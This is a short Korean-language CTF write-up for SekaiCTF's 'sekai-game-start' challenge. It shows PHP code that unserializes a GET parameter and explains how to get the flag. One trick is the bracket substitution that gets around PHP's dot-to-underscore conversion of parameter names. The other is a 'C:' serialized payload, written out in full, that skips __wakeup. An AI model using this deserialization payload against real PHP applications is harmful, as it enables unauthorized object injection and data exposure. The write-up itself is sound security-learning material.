Featured image of post Sekai CTF sekai-game-start

Sekai CTF sekai-game-start

문제를 접속하면 아래의 php 코드가 주어진다. 해당 코드를 해석해보면 GET 방식으로 sekai_game.run을 실행하면 될 것으로 보였다.

<?php
include('./flag.php');
class Sekai_Game{
    public $start = True;
    public function __destruct(){
        if($this->start === True){
            echo "Sekai Game Start Here is your flag ".getenv('FLAG');
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
if(isset($_GET['sekai_game.run'])){
    unserialize($_GET['sekai_game.run']);
}else{
    highlight_file(__FILE__);
}

?>

하지만 sekai_game.run을 GET 방식으로 요청할 경우 “.“을 “_“로 변경을 해버린다. 이것을 우회하기 위해 “_“를 사용하는 대신에 “[” (대괄호)를 넣어서 우회를 해야 한다.

  • write-up을 보다보니 php의 8버전이전의 경우 대활호를 만나면 대괄호를 “_” (언더바)로 변경하고 나머지는 변경을 하지 않는다고 한다.

이제 다음 문제는 Sekai_Game Class 에서 wake_up 함수를 우회해야한다. 이를 위해 관련 문서를 찾아 보았고, ?sekai[game.run=C:10:“Sekai_Game”:0:{} 과 같은 POC코드를 작성 할 수 있었다.

작성한 코드를 실행하면 아래와 같은 화면이 나오면서 flag를 획득 할 수 있다.

Warning: Insufficient data for unserializing - 1 required, 1 present in /var/www/html/index.php on line 17  
Sekai Game Start Here is your flag SEKAI{W3lcome_T0_Our_universe}  
comments powered by Disqus